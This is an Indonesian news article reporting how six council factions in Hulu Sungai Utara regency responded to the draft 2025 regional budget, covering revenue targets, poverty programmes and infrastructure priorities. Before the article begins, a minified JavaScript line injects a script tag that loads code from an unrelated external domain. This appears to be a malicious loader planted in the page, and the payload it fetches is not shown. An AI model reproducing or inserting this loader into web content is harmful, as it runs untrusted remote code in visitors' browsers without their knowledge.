(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ini Respon Fraksi-Fraksi DPRD HSU Terkait Raperda APBD 2025

KANALKALIMANTAN.COM, AMUNTAI – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Hulu Sungai Utara (HSU) memberikan respon positif terhadap Rancangan Peraturan Daerah (Raperda) Kabupaten HSU tentang Anggaran Pendapatan Belanja Daerah (APBD) tahun anggaran 2025.

Respon tersebut disampaikan dalam rapat paripurna dengan agenda pemandangan umum fraksi -fraksi DPRD HSU atas penyampaian penjelasan kepala daerah terhadap Raperda tentang APBD tahun anggaran 2025, Senin (21/10/2024).

Enam Fraksi di DPRD HSU menyampaikan pemandangan umum masing-masing yakni Fraksi Golkar dengan buru bicara Almien Ansar Safari, Fraksi PKB juru bicara Junaidi, Fraksi Partai Keadilan Sejahtera juru bicara H Rustam, Fraksi Gerindra juru bicara Andini, Fraksi PPP juru bicara Abdurrahman, dan Fraksi PDIP dengan juru bicara Tedy Suryana.

Pemandangan umum tersebut didengar langsung Sekertaris Daerah (Sekda) HSU Adi Lesmana, Ketua DPRD HSU Ahmad Fadillah beserta anggota, Forkopimda, dan kepala SKPD di lingkungan Pemkab HSU.

Juru bicara Fraksi Golkar Almien Ansar Safari mengapresiasi Pemkab HSU dimana untuk tahun 2025 Raperda APBD Pemkab HSU mendapatkan target pendapatan dengan estimasi sebesar Rp1,38 lebih. Mengalami kenaikan dari tahun sebelumnya di tahun 2024 sebesar Rp1,36 triliun lebih atau naik sekitar 1,46 persen.

“Kami mengapresiasi atas kinerja seluruh eksekutif Pemerintah Kabupaten HSU terhadap kenaikan estimasi pendapatan daerah ini, baik dari PAD maupun pendapatan dari transfer pemerintah pusat dan antar daerah,” kata Almien.

Fraksi Golkar berharap pemerintah daerah punya kebijakan yang mengoptimalkan pengelolaan pendapatan daerah khususnya PAD pada aspek pajak daerah maupun retribusi daerah, serta aspek lainnya.
Sementara juru bicara Fraksi PKB Junaidi mengharapkan peningkatan efesiensi pengelolaan anggaran dengan memperhatikan tujuan, indikator, dan sasaran. Sehingga dapat dicapai untuk mensejahterakan masyarakat.

Selain itu, persoalan program penuntasan kemiskinan, dampak inflasi dan alokasi anggaran untuk peningkatan sarana prasarana Pondok Pesantren di Kabupaten HSU menjadi pesan titipan sebagai wakil rakyat kepada Pemkab HSU agar dapat diprioritaskan.

Di lain pihak, juru bicara Fraksi PDIP Tedy Suryana mengharapkan dalam Raperda APBD tahun 2025, Pemkab HSU dapat memprioritaskan pembangunan terutama untuk program penuntasan kemiskinan, terciptanya lapangan kerja, peningkatan infrastruktur, peningkatan sektor pertanian, kesehatan dan pendidikan.

“Raperda APBD yang nantinya menjadi Peraturan Daerah dapat menjawab kebutuhan masyarakat, dan menjadi instrumen mewujudkan visi dan misi Kabupaten HSU mewujudkan kesejahteraan masyarakat yang berkeadilan,” tutupnya.(kanalkalimantan.com/dew)

Reporter: dew
Editor: bie